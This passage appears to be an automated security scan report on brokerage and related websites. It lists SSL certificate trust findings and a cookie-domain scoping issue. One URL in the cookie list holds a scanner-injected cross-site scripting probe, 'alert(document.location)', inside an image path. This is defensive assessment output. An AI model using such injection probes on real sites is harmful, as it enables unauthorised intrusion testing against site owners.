https://server.iad.liveperson.net/
https://sites.google.com/
https://www.google.com/
https://www.optionsxpress.com/
https://www.optionsxpress.com.au/
https://www.pfgboss.com/
https://www.secureclient5.ranweb.com/

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

8.1. https://cwt1.interactivebrokers.com/ previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://cwt1.interactivebrokers.com
Path:	/

Issue detail

The following problem was identified with the server's SSL certificate:

The server's certificate is not trusted.

The server presented the following certificates:

Server certificate

Issued to:	*.interactivebrokers.com
Issued by:	DigiCert High Assurance CA-3
Valid from:	Mon May 24 18:00:00 GMT-06:00 2010
Valid to:	Tue Jul 30 17:59:59 GMT-06:00 2013

Certificate chain #1

Issued to:	DigiCert High Assurance CA-3
Issued by:	DigiCert High Assurance EV Root CA
Valid from:	Mon Apr 02 18:00:00 GMT-06:00 2007
Valid to:	Sat Apr 02 18:00:00 GMT-06:00 2022

Certificate chain #2

Issued to:	DigiCert High Assurance EV Root CA
Issued by:	Entrust.net Secure Server Certification Authority
Valid from:	Sat Sep 30 23:00:00 GMT-06:00 2006
Valid to:	Sat Jul 26 12:15:15 GMT-06:00 2014

Certificate chain #3

Issued to:	Entrust.net Secure Server Certification Authority
Issued by:	Entrust.net Secure Server Certification Authority
Valid from:	Tue May 25 10:09:40 GMT-06:00 1999
Valid to:	Sat May 25 10:39:40 GMT-06:00 2019

Certificate chain #4

Issued to:	Entrust.net Secure Server Certification Authority
Issued by:	Entrust.net Secure Server Certification Authority
Valid from:	Tue May 25 10:09:40 GMT-06:00 1999
Valid to:	Sat May 25 10:39:40 GMT-06:00 2019

8.2. https://www.barchart.com/ previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://www.barchart.com
Path:	/

Issue detail

The following problem was identified with the server's SSL certificate:

The server's certificate is not trusted.

The server presented the following certificates:

Server certificate

Issued to:	*.barchart.com
Issued by:	Network Solutions Certificate Authority
Valid from:	Tue Dec 15 18:00:00 GMT-06:00 2009
Valid to:	Mon Feb 10 17:59:59 GMT-06:00 2014

Certificate chain #1

Issued to:	UTN-USERFirst-Hardware
Issued by:	AddTrust External CA Root
Valid from:	Tue Jun 07 02:09:10 GMT-06:00 2005
Valid to:	Sat May 30 04:48:38 GMT-06:00 2020

Certificate chain #2

Issued to:	Network Solutions Certificate Authority
Issued by:	UTN-USERFirst-Hardware
Valid from:	Sun Apr 09 18:00:00 GMT-06:00 2006
Valid to:	Sat May 30 04:48:38 GMT-06:00 2020

Certificate chain #3

Issued to:	UTN-USERFirst-Hardware
Issued by:	UTN-USERFirst-Hardware
Valid from:	Fri Jul 09 12:10:42 GMT-06:00 1999
Valid to:	Tue Jul 09 12:19:22 GMT-06:00 2019

8.3. https://www.cqgtrader.com/ previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://www.cqgtrader.com
Path:	/

Issue detail

The following problem was identified with the server's SSL certificate:

The server's certificate is not trusted.

The server presented the following certificate:

Issued to:	www.cqgtrader.com
Issued by:	VeriSign Class 3 Secure Server CA - G3
Valid from:	Fri Mar 25 18:00:00 GMT-06:00 2011
Valid to:	Sun Mar 25 17:59:59 GMT-06:00 2012

8.4. https://www.efutures.com/ previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://www.efutures.com
Path:	/

Issue detail

The following problem was identified with the server's SSL certificate:

The server's certificate is not trusted.

The server presented the following certificate:

Issued to:	www.efutures.com
Issued by:	VeriSign Class 3 International Server CA - G3
Valid from:	Fri Jun 24 18:00:00 GMT-06:00 2011
Valid to:	Sat Jul 21 17:59:59 GMT-06:00 2012

8.5. https://www.interactivebrokers.com/ previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/

Issue detail

The following problem was identified with the server's SSL certificate:

The server's certificate is not trusted.

The server presented the following certificates:

Server certificate

Issued to:	*.interactivebrokers.com
Issued by:	DigiCert High Assurance CA-3
Valid from:	Mon May 24 18:00:00 GMT-06:00 2010
Valid to:	Tue Jul 30 17:59:59 GMT-06:00 2013

Certificate chain #1

Issued to:	DigiCert High Assurance CA-3
Issued by:	DigiCert High Assurance EV Root CA
Valid from:	Mon Apr 02 18:00:00 GMT-06:00 2007
Valid to:	Sat Apr 02 18:00:00 GMT-06:00 2022

Certificate chain #2

Issued to:	DigiCert High Assurance EV Root CA
Issued by:	Entrust.net Secure Server Certification Authority
Valid from:	Sat Sep 30 23:00:00 GMT-06:00 2006
Valid to:	Sat Jul 26 12:15:15 GMT-06:00 2014

Certificate chain #3

Issued to:	Entrust.net Secure Server Certification Authority
Issued by:	Entrust.net Secure Server Certification Authority
Valid from:	Tue May 25 10:09:40 GMT-06:00 1999
Valid to:	Sat May 25 10:39:40 GMT-06:00 2019

Certificate chain #4

Issued to:	Entrust.net Secure Server Certification Authority
Issued by:	Entrust.net Secure Server Certification Authority
Valid from:	Tue May 25 10:09:40 GMT-06:00 1999
Valid to:	Sat May 25 10:39:40 GMT-06:00 2019

8.6. https://account.optionsxpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.optionsxpress.com
Issued by:	Thawte SSL CA
Valid from:	Mon Jul 05 18:00:00 GMT-06:00 2010
Valid to:	Mon Sep 03 17:59:59 GMT-06:00 2012

Certificate chain #1

Issued to:	Thawte SSL CA
Issued by:	thawte Primary Root CA
Valid from:	Sun Feb 07 18:00:00 GMT-06:00 2010
Valid to:	Fri Feb 07 17:59:59 GMT-06:00 2020

Certificate chain #2

Issued to:	thawte Primary Root CA
Issued by:	thawte Primary Root CA
Valid from:	Thu Nov 16 18:00:00 GMT-06:00 2006
Valid to:	Wed Jul 16 17:59:59 GMT-06:00 2036

Certificate chain #3

Issued to:	thawte Primary Root CA
Issued by:	thawte Primary Root CA
Valid from:	Thu Nov 16 18:00:00 GMT-06:00 2006
Valid to:	Wed Jul 16 17:59:59 GMT-06:00 2036

8.7. https://adwords.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://adwords.google.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	adwords.google.com
Issued by:	Google Internet Authority
Valid from:	Thu Aug 11 21:49:49 GMT-06:00 2011
Valid to:	Sat Aug 11 21:59:49 GMT-06:00 2012

Certificate chain #1

Issued to:	Google Internet Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Mon Jun 08 14:43:27 GMT-06:00 2009
Valid to:	Fri Jun 07 13:43:27 GMT-06:00 2013

Certificate chain #2

Issued to:	Equifax Secure Certificate Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Sat Aug 22 10:41:51 GMT-06:00 1998
Valid to:	Wed Aug 22 10:41:51 GMT-06:00 2018

8.8. https://docs.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://docs.google.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.google.com
Issued by:	Google Internet Authority
Valid from:	Thu Aug 11 21:49:02 GMT-06:00 2011
Valid to:	Sat Aug 11 21:59:02 GMT-06:00 2012

Certificate chain #1

Issued to:	Google Internet Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Mon Jun 08 14:43:27 GMT-06:00 2009
Valid to:	Fri Jun 07 13:43:27 GMT-06:00 2013

Certificate chain #2

Issued to:	Equifax Secure Certificate Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Sat Aug 22 10:41:51 GMT-06:00 1998
Valid to:	Wed Aug 22 10:41:51 GMT-06:00 2018

8.9. https://icewebinar.webex.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://icewebinar.webex.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.webex.com
Issued by:	VeriSign Class 3 Secure Server CA - G3
Valid from:	Tue Jun 21 18:00:00 GMT-06:00 2011
Valid to:	Thu Jun 21 17:59:59 GMT-06:00 2012

Certificate chain #1

Issued to:	VeriSign Class 3 Secure Server CA - G3
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Sun Feb 07 18:00:00 GMT-06:00 2010
Valid to:	Fri Feb 07 17:59:59 GMT-06:00 2020

Certificate chain #2

Issued to:	VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Tue Nov 07 18:00:00 GMT-06:00 2006
Valid to:	Sun Nov 07 17:59:59 GMT-06:00 2021

Certificate chain #3

Issued to:	Class 3 Public Primary Certification Authority
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Sun Jan 28 18:00:00 GMT-06:00 1996
Valid to:	Wed Aug 02 17:59:59 GMT-06:00 2028

8.10. https://interactivebrokers.webex.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://interactivebrokers.webex.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.webex.com
Issued by:	VeriSign Class 3 Secure Server CA - G3
Valid from:	Tue Jun 21 18:00:00 GMT-06:00 2011
Valid to:	Thu Jun 21 17:59:59 GMT-06:00 2012

Certificate chain #1

Issued to:	VeriSign Class 3 Secure Server CA - G3
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Sun Feb 07 18:00:00 GMT-06:00 2010
Valid to:	Fri Feb 07 17:59:59 GMT-06:00 2020

Certificate chain #2

Issued to:	VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Tue Nov 07 18:00:00 GMT-06:00 2006
Valid to:	Sun Nov 07 17:59:59 GMT-06:00 2021

Certificate chain #3

Issued to:	Class 3 Public Primary Certification Authority
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Sun Jan 28 18:00:00 GMT-06:00 1996
Valid to:	Wed Aug 02 17:59:59 GMT-06:00 2028

8.11. https://mail.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mail.google.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	mail.google.com
Issued by:	Thawte SGC CA
Valid from:	Thu Dec 17 18:00:00 GMT-06:00 2009
Valid to:	Sun Dec 18 17:59:59 GMT-06:00 2011

Certificate chain #1

Issued to:	Thawte SGC CA
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Wed May 12 18:00:00 GMT-06:00 2004
Valid to:	Mon May 12 17:59:59 GMT-06:00 2014

Certificate chain #2

Issued to:	Class 3 Public Primary Certification Authority
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Sun Jan 28 18:00:00 GMT-06:00 1996
Valid to:	Wed Aug 02 17:59:59 GMT-06:00 2028

8.12. https://online.optionsxpress.ca/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.optionsxpress.ca
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.optionsxpress.ca
Issued by:	Equifax Secure Certificate Authority
Valid from:	Wed Nov 24 14:20:38 GMT-06:00 2010
Valid to:	Tue Nov 26 15:45:36 GMT-06:00 2013

Certificate chain #1

Issued to:	Equifax Secure Certificate Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Sat Aug 22 10:41:51 GMT-06:00 1998
Valid to:	Wed Aug 22 10:41:51 GMT-06:00 2018

8.13. https://online.optionsxpress.com.sg/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.optionsxpress.com.sg
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.optionsxpress.com.sg
Issued by:	RapidSSL CA
Valid from:	Thu Jan 27 08:18:31 GMT-06:00 2011
Valid to:	Tue Jan 29 08:29:11 GMT-06:00 2013

Certificate chain #1

Issued to:	RapidSSL CA
Issued by:	GeoTrust Global CA
Valid from:	Fri Feb 19 16:45:05 GMT-06:00 2010
Valid to:	Tue Feb 18 16:45:05 GMT-06:00 2020

Certificate chain #2

Issued to:	GeoTrust Global CA
Issued by:	GeoTrust Global CA
Valid from:	Mon May 20 22:00:00 GMT-06:00 2002
Valid to:	Fri May 20 22:00:00 GMT-06:00 2022

Certificate chain #3

Issued to:	GeoTrust Global CA
Issued by:	GeoTrust Global CA
Valid from:	Mon May 20 22:00:00 GMT-06:00 2002
Valid to:	Fri May 20 22:00:00 GMT-06:00 2022

8.14. https://online.optionsxpress.eu/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.optionsxpress.eu
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.optionsxpress.eu
Issued by:	RapidSSL CA
Valid from:	Wed Feb 23 04:17:40 GMT-06:00 2011
Valid to:	Tue Feb 25 05:17:40 GMT-06:00 2014

Certificate chain #1

Issued to:	RapidSSL CA
Issued by:	GeoTrust Global CA
Valid from:	Fri Feb 19 16:45:05 GMT-06:00 2010
Valid to:	Tue Feb 18 16:45:05 GMT-06:00 2020

Certificate chain #2

Issued to:	GeoTrust Global CA
Issued by:	GeoTrust Global CA
Valid from:	Mon May 20 22:00:00 GMT-06:00 2002
Valid to:	Fri May 20 22:00:00 GMT-06:00 2022

Certificate chain #3

Issued to:	GeoTrust Global CA
Issued by:	GeoTrust Global CA
Valid from:	Mon May 20 22:00:00 GMT-06:00 2002
Valid to:	Fri May 20 22:00:00 GMT-06:00 2022

8.15. https://onlineint.optionsxpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://onlineint.optionsxpress.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.optionsxpress.com
Issued by:	Thawte SSL CA
Valid from:	Mon Jul 05 18:00:00 GMT-06:00 2010
Valid to:	Mon Sep 03 17:59:59 GMT-06:00 2012

Certificate chain #1

Issued to:	Thawte SSL CA
Issued by:	thawte Primary Root CA
Valid from:	Sun Feb 07 18:00:00 GMT-06:00 2010
Valid to:	Fri Feb 07 17:59:59 GMT-06:00 2020

Certificate chain #2

Issued to:	thawte Primary Root CA
Issued by:	Thawte Premium Server CA
Valid from:	Thu Nov 16 18:00:00 GMT-06:00 2006
Valid to:	Wed Dec 30 17:59:59 GMT-06:00 2020

Certificate chain #3

Issued to:	Thawte Premium Server CA
Issued by:	Thawte Premium Server CA
Valid from:	Wed Jul 31 18:00:00 GMT-06:00 1996
Valid to:	Fri Jan 01 17:59:59 GMT-06:00 2021

8.16. https://seal.verisign.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://seal.verisign.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	seal.verisign.com
Issued by:	VeriSign Class 3 Secure Server CA - G2
Valid from:	Tue Jul 06 18:00:00 GMT-06:00 2010
Valid to:	Sun Jul 06 17:59:59 GMT-06:00 2014

Certificate chain #1

Issued to:	VeriSign Class 3 Secure Server CA - G2
Issued by:	VeriSign Trust Network
Valid from:	Tue Mar 24 18:00:00 GMT-06:00 2009
Valid to:	Sun Mar 24 17:59:59 GMT-06:00 2019

Certificate chain #2

Issued to:	VeriSign Trust Network
Issued by:	VeriSign Trust Network
Valid from:	Sun May 17 18:00:00 GMT-06:00 1998
Valid to:	Tue Aug 01 17:59:59 GMT-06:00 2028

Certificate chain #3

Issued to:	VeriSign Trust Network
Issued by:	VeriSign Trust Network
Valid from:	Sun May 17 18:00:00 GMT-06:00 1998
Valid to:	Tue Aug 01 17:59:59 GMT-06:00 2028

8.17. https://server.iad.liveperson.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://server.iad.liveperson.net
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	SERVER.IAD.LIVEPERSON.NET
Issued by:	VeriSign Class 3 Secure Server CA - G2
Valid from:	Wed Jan 27 18:00:00 GMT-06:00 2010
Valid to:	Sat Jan 28 17:59:59 GMT-06:00 2012

Certificate chain #1

Issued to:	VeriSign Class 3 Secure Server CA - G2
Issued by:	VeriSign Trust Network
Valid from:	Tue Mar 24 18:00:00 GMT-06:00 2009
Valid to:	Sun Mar 24 17:59:59 GMT-06:00 2019

Certificate chain #2

Issued to:	VeriSign Trust Network
Issued by:	VeriSign Trust Network
Valid from:	Sun May 17 18:00:00 GMT-06:00 1998
Valid to:	Tue Aug 01 17:59:59 GMT-06:00 2028

8.18. https://sites.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://sites.google.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.google.com
Issued by:	Google Internet Authority
Valid from:	Thu Aug 11 21:49:02 GMT-06:00 2011
Valid to:	Sat Aug 11 21:59:02 GMT-06:00 2012

Certificate chain #1

Issued to:	Google Internet Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Mon Jun 08 14:43:27 GMT-06:00 2009
Valid to:	Fri Jun 07 13:43:27 GMT-06:00 2013

Certificate chain #2

Issued to:	Equifax Secure Certificate Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Sat Aug 22 10:41:51 GMT-06:00 1998
Valid to:	Wed Aug 22 10:41:51 GMT-06:00 2018

8.19. https://www.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.google.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.google.com
Issued by:	Thawte SGC CA
Valid from:	Thu Dec 17 18:00:00 GMT-06:00 2009
Valid to:	Sun Dec 18 17:59:59 GMT-06:00 2011

Certificate chain #1

Issued to:	Thawte SGC CA
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Wed May 12 18:00:00 GMT-06:00 2004
Valid to:	Mon May 12 17:59:59 GMT-06:00 2014

Certificate chain #2

Issued to:	Class 3 Public Primary Certification Authority
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Sun Jan 28 18:00:00 GMT-06:00 1996
Valid to:	Wed Aug 02 17:59:59 GMT-06:00 2028

8.20. https://www.optionsxpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.optionsxpress.com
Issued by:	VeriSign Class 3 Extended Validation SSL SGC CA
Valid from:	Sun Jan 24 18:00:00 GMT-06:00 2010
Valid to:	Mon Feb 06 17:59:59 GMT-06:00 2012

Certificate chain #1

Issued to:	VeriSign Class 3 Extended Validation SSL SGC CA
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Tue Nov 07 18:00:00 GMT-06:00 2006
Valid to:	Mon Nov 07 17:59:59 GMT-06:00 2016

Certificate chain #2

Issued to:	VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Tue Nov 07 18:00:00 GMT-06:00 2006
Valid to:	Sun Nov 07 17:59:59 GMT-06:00 2021

Certificate chain #3

Issued to:	Class 3 Public Primary Certification Authority
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Sun Jan 28 18:00:00 GMT-06:00 1996
Valid to:	Wed Aug 02 17:59:59 GMT-06:00 2028

8.21. https://www.optionsxpress.com.au/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com.au
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.optionsxpress.com.au,ST=Illinois
Issued by:	Akamai Subordinate CA 3
Valid from:	Sat May 07 01:31:44 GMT-06:00 2011
Valid to:	Mon May 07 01:31:44 GMT-06:00 2012

Certificate chain #1

Issued to:	Akamai Subordinate CA 3
Issued by:	GTE CyberTrust Global Root
Valid from:	Thu May 11 09:32:00 GMT-06:00 2006
Valid to:	Sat May 11 17:59:00 GMT-06:00 2013

Certificate chain #2

Issued to:	GTE CyberTrust Global Root
Issued by:	GTE CyberTrust Global Root
Valid from:	Wed Aug 12 18:29:00 GMT-06:00 1998
Valid to:	Mon Aug 13 17:59:00 GMT-06:00 2018

8.22. https://www.pfgboss.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.pfgboss.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.pfgboss.com
Issued by:	Go Daddy Secure Certification Authority
Valid from:	Mon Apr 11 15:58:51 GMT-06:00 2011
Valid to:	Thu Apr 11 14:20:17 GMT-06:00 2013

Certificate chain #1

Issued to:	Go Daddy Secure Certification Authority
Issued by:	Go Daddy Class 2 Certification Authority
Valid from:	Wed Nov 15 19:54:37 GMT-06:00 2006
Valid to:	Sun Nov 15 19:54:37 GMT-06:00 2026

Certificate chain #2

Issued to:	Go Daddy Class 2 Certification Authority
Issued by:	http://www.valicert.com/
Valid from:	Tue Jun 29 11:06:20 GMT-06:00 2004
Valid to:	Sat Jun 29 11:06:20 GMT-06:00 2024

Certificate chain #3

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 18:19:54 GMT-06:00 1999
Valid to:	Tue Jun 25 18:19:54 GMT-06:00 2019

8.23. https://www.secureclient5.ranweb.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.secureclient5.ranweb.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.secureclient5.ranweb.com
Issued by:	VeriSign Class 3 International Server CA - G3
Valid from:	Thu May 12 18:00:00 GMT-06:00 2011
Valid to:	Mon May 14 17:59:59 GMT-06:00 2012

Certificate chain #1

Issued to:	VeriSign Class 3 International Server CA - G3
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Sun Feb 07 18:00:00 GMT-06:00 2010
Valid to:	Fri Feb 07 17:59:59 GMT-06:00 2020

Certificate chain #2

Issued to:	VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Tue Nov 07 18:00:00 GMT-06:00 2006
Valid to:	Sun Nov 07 17:59:59 GMT-06:00 2021

Certificate chain #3

Issued to:	Class 3 Public Primary Certification Authority
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Sun Jan 28 18:00:00 GMT-06:00 1996
Valid to:	Wed Aug 02 17:59:59 GMT-06:00 2028

9. Cookie scoped to parent domain previous next
There are 113 instances of this issue:

http://pixel.everesttech.net/2164/cq
https://account.optionsxpress.com/OpenAccount/Index
https://account.optionsxpress.com/OpenAccount/NewAccountAjax/GenericHandler
https://account.optionsxpress.com/OpenAccount/Scripts/nap.css
https://account.optionsxpress.com/OpenAccount/Scripts/napgeneral.js
https://account.optionsxpress.com/OpenAccount/Scripts/naponload.js
https://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js
https://account.optionsxpress.com/css/oxps.css
https://account.optionsxpress.com/favicon.ico
https://account.optionsxpress.com/images/btn_next_step.jpg
https://account.optionsxpress.com/images/icon_arrow.jpg
https://account.optionsxpress.com/images/icons/log_in.gif
https://account.optionsxpress.com/images/logos/firm/newlogo_ox.gif
https://account.optionsxpress.com/images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif
https://account.optionsxpress.com/images/minus_new_acct.gif
https://account.optionsxpress.com/images/newaccount/account_select1.gif
https://account.optionsxpress.com/images/newaccount/account_select2.gif
https://account.optionsxpress.com/images/newaccount/nap_error_icon.png
https://account.optionsxpress.com/images/newaccount/nap_tip_icon.gif
https://account.optionsxpress.com/images/openAccount_bottom.jpg
https://account.optionsxpress.com/images/plus_new_acct.gif
https://account.optionsxpress.com/images/rightColumn_divider.jpg
https://account.optionsxpress.com/images/styles/bubble/b.gif
https://account.optionsxpress.com/images/styles/bubble/bl.gif
https://account.optionsxpress.com/images/styles/bubble/br.gif
https://account.optionsxpress.com/images/styles/bubble/l.gif
https://account.optionsxpress.com/images/styles/bubble/r.gif
https://account.optionsxpress.com/images/styles/bubble/t.gif
https://account.optionsxpress.com/images/styles/bubble/tl.gif
https://account.optionsxpress.com/images/styles/bubble/tr.gif
https://account.optionsxpress.com/images/welcome/home/log_out.gif
https://account.optionsxpress.com/images/welcome/home/open_account_4.gif
https://account.optionsxpress.com/inc/general.js
https://account.optionsxpress.com/inc/interface.js
https://account.optionsxpress.com/inc/js/plugins/accordion.js
https://account.optionsxpress.com/inc/js/plugins/jquery.blockUI.js
https://account.optionsxpress.com/inc/newaccount/general.js
https://account.optionsxpress.com/inc/newaccount/jquer.ui.all.css
https://account.optionsxpress.com/inc/newaccount/jquery-1.3.2.min.js
https://account.optionsxpress.com/inc/newaccount/jquery.autotab.js
https://account.optionsxpress.com/inc/newaccount/jquery.scrollTo-min.js
https://account.optionsxpress.com/inc/newaccount/styles.css
https://account.optionsxpress.com/inc/s_code.js
http://rcv-srv20.inplay.tubemogul.com/StreamReceiver/services
http://receive.inplay.tubemogul.com/StreamReceiver/demo
http://rtd.tubemogul.com/upi/pid/5w3jqr4k
http://server.iad.liveperson.net/hc/82583755/
http://shared.websol.barchart.com/css/bc_styles.css
http://www.facebook.com/dialog/feed
http://www.interactivebrokers.com/mkt/index.php
https://www.interactivebrokers.com/sso/Login
http://www.optionsxpress.com/
http://www.optionsxpress.com/404.aspx
http://www.optionsxpress.com/about_us/awards_media.aspx
http://www.optionsxpress.com/about_us/contact_us.aspx
http://www.optionsxpress.com/about_us/faq.aspx
http://www.optionsxpress.com/about_us/pricing_commissions.aspx
http://www.optionsxpress.com/check_us_out/right_for_you.aspx
http://www.optionsxpress.com/check_us_out/site_map.aspx
http://www.optionsxpress.com/corporate/about_us.aspx
http://www.optionsxpress.com/favicon.ico
http://www.optionsxpress.com/free_education/education_center.aspx
http://www.optionsxpress.com/free_education/live_events/
http://www.optionsxpress.com/free_education/virtual_trade.aspx
http://www.optionsxpress.com/images/promo_static/ox.gif
http://www.optionsxpress.com/images/promo_unique/divider.jpg
http://www.optionsxpress.com/images/promo_unique/live-help.jpg
http://www.optionsxpress.com/images/promo_unique/phone.jpg
http://www.optionsxpress.com/images/promo_unique/shadow.png
http://www.optionsxpress.com/images/promos/allInOne.png
http://www.optionsxpress.com/images/promos/barronsBg.png
http://www.optionsxpress.com/images/promos/chartC4c.jpg
http://www.optionsxpress.com/images/promos/footer1Logo11.png
http://www.optionsxpress.com/images/promos/kiplingerBg.png
http://www.optionsxpress.com/images/promos/mainBottom.png
http://www.optionsxpress.com/images/promos/toolsIcons.png
http://www.optionsxpress.com/images/promos/whiteboard_sales_lp.png
http://www.optionsxpress.com/images/ui/ui-bg_glass_65_ffffff_1x400.png
http://www.optionsxpress.com/images/ui/ui-bg_highlight-soft_50_0b457d_1x100.png
http://www.optionsxpress.com/images/ui/ui-bg_highlight-soft_50_125697_1x100.png
http://www.optionsxpress.com/images/welcome/home/log_out.gif
http://www.optionsxpress.com/images/welcome/home/open_account_4.gif
http://www.optionsxpress.com/inc/css/fonts.css
http://www.optionsxpress.com/inc/css/nav.css
http://www.optionsxpress.com/inc/css/print.css
http://www.optionsxpress.com/inc/css/screen.css
http://www.optionsxpress.com/inc/css/styles.css
http://www.optionsxpress.com/inc/css/ui.css
http://www.optionsxpress.com/inc/general.js
http://www.optionsxpress.com/inc/js/library.js
http://www.optionsxpress.com/inc/js/stats.js
http://www.optionsxpress.com/inc/js/xpress.js
http://www.optionsxpress.com/index.aspx
http://www.optionsxpress.com/our_products/futures.aspx
http://www.optionsxpress.com/our_products/more_choices.aspx
http://www.optionsxpress.com/our_products/options.aspx
http://www.optionsxpress.com/our_products/stocks.aspx
http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx
http://www.optionsxpress.com/promos/none
http://www.optionsxpress.com/security_risks/disclosures.aspx
http://www.optionsxpress.com/security_risks/docs/privacy.aspx
http://www.optionsxpress.com/security_risks/financial_statement.aspx
http://www.optionsxpress.com/security_risks/risks_policies.aspx
http://www.optionsxpress.com/security_risks/security_center.aspx
http://www.optionsxpress.com/tools_research/ox_mobile.aspx
http://www.optionsxpress.com/tools_research/powerful_tools.aspx
http://www.optionsxpress.com/tools_research/xtend_2.aspx
http://www.optionsxpress.com/what_we_offer/free_account_transfers.aspx
http://www.optionsxpress.com/why_ox/
https://www.optionsxpress.com/downloads/financial_services_guide.pdf
https://www.optionsxpress.com/login.asp
https://www.optionsxpress.com/welcome.asp
http://www.youtube.com/results

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

